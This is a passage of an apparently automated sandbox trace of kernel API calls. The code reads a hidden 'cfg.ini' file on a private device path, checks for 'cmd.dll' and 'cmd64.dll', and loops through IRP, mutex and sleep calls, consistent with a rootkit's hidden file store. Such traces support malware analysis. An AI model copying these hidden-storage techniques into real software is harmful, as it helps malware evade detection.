out: Event=0xfffff880028da5d0) [0124.390] IdePortDispatch () returned 0x103 [0124.390] KeWaitForMutexObject () returned 0x0 [0124.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.390] KeLeaveCriticalRegion () [0124.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.391] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.391] KeEnterCriticalRegion () [0124.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] KeLeaveCriticalRegion () [0124.391] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.391] KeEnterCriticalRegion () [0124.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.391] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] KeLeaveCriticalRegion () [0124.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.391] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.391] KeEnterCriticalRegion () [0124.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] KeLeaveCriticalRegion () [0124.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.391] ReleaseMutex (hMutex=0xf0) returned 1 [0124.391] Sleep (dwMilliseconds=0x124f80) [0124.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.405] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.405] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.405] KeEnterCriticalRegion () [0124.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.405] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.405] IdePortDispatch () returned 0x103 [0124.405] KeWaitForMutexObject () returned 0x0 [0124.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf19a0 [0124.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.405] KeLeaveCriticalRegion () [0124.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.405] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.405] KeEnterCriticalRegion () [0124.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.405] KeLeaveCriticalRegion () [0124.406] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.406] KeEnterCriticalRegion () [0124.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.406] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.406] IdePortDispatch () returned 0x103 [0124.406] KeWaitForMutexObject () returned 0x0 [0124.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.406] KeLeaveCriticalRegion () [0124.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.406] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.406] KeEnterCriticalRegion () [0124.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354b000 [0124.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.406] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.406] IdePortDispatch () returned 0x103 [0124.406] KeWaitForMutexObject () returned 0x0 [0124.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.406] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.406] IdePortDispatch () returned 0x103 [0124.407] KeWaitForMutexObject () returned 0x0 [0124.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.407] KeLeaveCriticalRegion () [0124.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.407] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.407] KeEnterCriticalRegion () [0124.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.407] KeLeaveCriticalRegion () [0124.407] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.407] KeEnterCriticalRegion () [0124.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.407] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0150, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.407] KeLeaveCriticalRegion () [0124.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.407] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.407] KeEnterCriticalRegion () [0124.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] ExFreePoolWithTag (P=0xfffffa8003bf19a0, Tag=0x0) [0124.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] KeLeaveCriticalRegion () [0124.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.408] ReleaseMutex (hMutex=0xf0) returned 1 [0124.408] Sleep (dwMilliseconds=0x124f80) [0124.421] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.421] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.421] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.421] KeEnterCriticalRegion () [0124.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.421] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.421] IdePortDispatch () returned 0x103 [0124.422] KeWaitForMutexObject () returned 0x0 [0124.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.422] KeLeaveCriticalRegion () [0124.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.422] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.422] KeEnterCriticalRegion () [0124.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.422] KeLeaveCriticalRegion () [0124.422] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.422] KeEnterCriticalRegion () [0124.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.422] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.422] IdePortDispatch () returned 0x103 [0124.422] KeWaitForMutexObject () returned 0x0 [0124.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.422] KeLeaveCriticalRegion () [0124.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.422] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.423] KeEnterCriticalRegion () [0124.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003550000 [0124.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.423] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.423] IdePortDispatch () returned 0x103 [0124.423] KeWaitForMutexObject () returned 0x0 [0124.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.423] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.423] IdePortDispatch () returned 0x103 [0124.423] KeWaitForMutexObject () returned 0x0 [0124.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.423] KeLeaveCriticalRegion () [0124.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.424] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.424] KeEnterCriticalRegion () [0124.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] KeLeaveCriticalRegion () [0124.424] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.424] KeEnterCriticalRegion () [0124.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.424] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] KeLeaveCriticalRegion () [0124.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.424] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.424] KeEnterCriticalRegion () [0124.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] KeLeaveCriticalRegion () [0124.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.424] ReleaseMutex (hMutex=0xf0) returned 1 [0124.424] Sleep (dwMilliseconds=0x124f80) [0124.439] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.439] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.439] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.439] KeEnterCriticalRegion () [0124.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.439] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.439] IdePortDispatch () returned 0x103 [0124.439] KeWaitForMutexObject () returned 0x0 [0124.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.439] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.439] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.439] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.439] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.439] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1640 [0124.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.439] KeLeaveCriticalRegion () [0124.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.439] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.439] KeEnterCriticalRegion () [0124.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.439] KeLeaveCriticalRegion () [0124.439] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.439] KeEnterCriticalRegion () [0124.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.439] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.439] IdePortDispatch () returned 0x103 [0124.440] KeWaitForMutexObject () returned 0x0 [0124.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.440] KeLeaveCriticalRegion () [0124.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.440] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.440] KeEnterCriticalRegion () [0124.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003555000 [0124.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.440] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.440] IdePortDispatch () returned 0x103 [0124.440] KeWaitForMutexObject () returned 0x0 [0124.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.440] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.440] IdePortDispatch () returned 0x103 [0124.441] KeWaitForMutexObject () returned 0x0 [0124.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] KeLeaveCriticalRegion () [0124.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.441] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.441] KeEnterCriticalRegion () [0124.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] KeLeaveCriticalRegion () [0124.441] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.441] KeEnterCriticalRegion () [0124.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.441] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] KeLeaveCriticalRegion () [0124.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.441] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.441] KeEnterCriticalRegion () [0124.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] ExFreePoolWithTag (P=0xfffffa8003bf1640, Tag=0x0) [0124.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.441] KeLeaveCriticalRegion () [0124.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.441] ReleaseMutex (hMutex=0xf0) returned 1 [0124.441] Sleep (dwMilliseconds=0x124f80) [0124.455] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.455] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.455] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.455] KeEnterCriticalRegion () [0124.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 